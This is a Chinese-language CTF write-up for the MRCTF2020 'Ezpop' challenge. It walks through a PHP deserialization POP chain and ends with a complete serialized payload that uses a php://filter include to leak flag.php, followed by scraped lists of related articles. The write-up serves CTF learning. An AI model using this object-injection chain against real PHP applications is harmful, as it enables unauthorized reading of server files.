打开题目即可得源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
} if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

涉及的魔术方法如下

__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

我们先找一下哪个地方能帮助我们拿到flag

class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

1.很明显这个Modifier中的include可以利用伪协议把flag.php包含出来

2.我们要调用Modifier中的include就要触发__invoke()

在class Test
可以利用_get()
$function = $this->p;使其中的
p=new Modifier();
这样就成功触发了
class Modifier中的
__invoke()

3.继续想办法触发_get()(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

在class Show
我们可以让__toString()方法中的
str=new Test()
这样它就调用了Test中不存在的source,成功触发_get

4.接下来考虑如何触发__toString()(在对象当做字符串的时候会被调用。)

这里就很明显了我们可以利用 Show中的__wakeup()中的
preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)
我们把source=new show();
即是把对象当成了字符串来进行了正则匹配

把我们的思路反过来就是一个完整的pop链

class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
} class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
} public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
} class Test{
public $p;
public function __construct(){
$this->p = array();
} public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a);



因是私有属性而产生的特殊符号换为%00

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

[MRCTF2020]Ezpop(反序列化)的更多相关文章

  1. 刷题[MRCTF2020]Ezpop

    解题思路 打开一看直接是代码审计的题,就嗯审.最近可能都在搞反序列化,先把反序列化的题刷烂,理解理解 代码审计 Welcome to index.php <?php //flag is in f ...

  2. [MRCTF2020]Ezpop

    题目: Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki ...

  3. WP | [MRCTF2020]Ezpop

    2020.10.14 最近开始努力提高代码能力 题目代码 Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Le ...

  4. PHP的序列化和反序列化

    PHP序列化 什么是PHP序列化 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 通过序列化与反序列化我们可以很方便的在PHP中进行对象 ...

  5. [BJDCTF2020]EzPHP-POP链

    那次某信内部比赛中有道pop链问题的题目,我当时没有做出来,所以在此总结一下,本次以buu上复现的[MRCTF2020]Ezpop为例. 题目 1 Welcome to index.php 2 < ...

  6. C#反序列化XML异常:在 XML文档(0, 0)中有一个错误“缺少根元素”

    Q: 在反序列化 Xml 字符串为 Xml 对象时,抛出如下异常. 即在 XML文档(0, 0)中有一个错误:缺少根元素. A: 首先看下代码: StringBuilder sb = new Stri ...

  7. C# 序列化与反序列化几种格式的转换

    这里介绍了几种方式之间的序列化与反序列化之间的转换 首先介绍的如何序列化,将object对象序列化常见的两种方式即string和xml对象; 第一种将object转换为string对象,这种比较简单没 ...

  8. 迟来的Json反序列化

    源码发布 搞了一个下午,终于搞定了这个号称中国的github...以后源码直接在这里发布了(github实在用不来,英文实在太烂了) https://code.csdn.net/jy02305022/ ...

  9. .Net使用Newtonsoft.Json.dll(JSON.NET)对象序列化成json、反序列化json示例教程

    JSON作为一种轻量级的数据交换格式,简单灵活,被很多系统用来数据交互,作为一名.NET开发人员,JSON.NET无疑是最好的序列化框架,支持XML和JSON序列化,高性能,免费开源,支持LINQ查询 ...

  10. 使用Newtonsoft.Json.dll(JSON.NET)动态解析JSON、.net 的json的序列化与反序列化(一)

    在开发中,我非常喜欢动态语言和匿名对象带来的方便,JSON.NET具有动态序列化和反序列化任意JSON内容的能力,不必将它映射到具体的强类型对象,它可以处理不确定的类型(集合.字典.动态对象和匿名对象 ...

随机推荐

  1. ISCC 2024 练武题 misc趣题记录

    Number_is_the_key 题目 The answers to the questions are hidden in the numbers. 文件是空白的xlsx文件 我的解答: 乱点发现 ...

  2. wrk压测工具安装和使用

    wrk压测工具安装: mkdir wrk git clone https://github.com/wg/wrk.git cd wrk/ cp wrk /usr/sbin/ wrk压测工具使用 使用方 ...

  3. switch case 跳转表

    一.事情来源 事情来源是一段奇怪的代码,代码如下 int x = 1000; switch (x) { case 1000: { NSLog(@"%d", 1); } case 2 ...

  4. 修改linux默认启动界面——从命令行模式转换为图形化模式

    从命令行模式转换为图形化模式 首先需要安装对应的图形化安装包 yum groupinstall "GNOME Desktop" "Graphical Administra ...

  5. python-使用pyecharts绘制各省份985学校数量图

    1.环境 代码运行环境:python3.7 相关的库:pyecharts 1.7.1 代码编辑器:visual studio code 2.目的 通过使用pyecharts库,来绘制全国各省985高校 ...

  6. LTSC系统,唯一未被微软宣传过,却备受用户赞誉,CPU占用暴降

    微软拥有多款操作系统,如Windows XP.Windows 7.Windows 10以及最新的Windows 11等. 其中,Windows XP和Windows 7因其稳定性和用户友好性而广受好评 ...

  7. monaco-editor 实现SQL编辑器

    原文链接:https://www.yuque.com/sxd_panda/antv/editor 安装 yarn add monaco-editor 或 npm install monaco-edit ...

  8. kettle从入门到精通 第四十三课 kettle 多对1表合并同步

    1.上一节课我们学习了1对多表拆分数据同步,本节课我们一起学习多对1数据同步,也就是说多张表关联之后的结果集写入一张表. 我们平常在写java应用的时候多表关联一般有两种方式: a.通过sql 语句的 ...

  9. kettle从入门到精通 第二十七课 邮件发送

    1.我们平常在做数据同步的时候,担心转换或者job没有正常运行,需要加上监控机制,这个时候就会用到邮件功能. 下图是一个简单的测试邮件发送功能的转换.在kettle.properties文件中设置邮件 ...

  10. Visual Studio(VS)常用快捷键整理

    ​ 前言 在使用Visual Studio编写代码时,使用快捷键能够提高编码效率,作为程序员,我们有必要记住一些比较常用的快捷键.这篇文章将记录我自己比较常用的快捷键,并根据我的使用情况,更新常用快捷 ...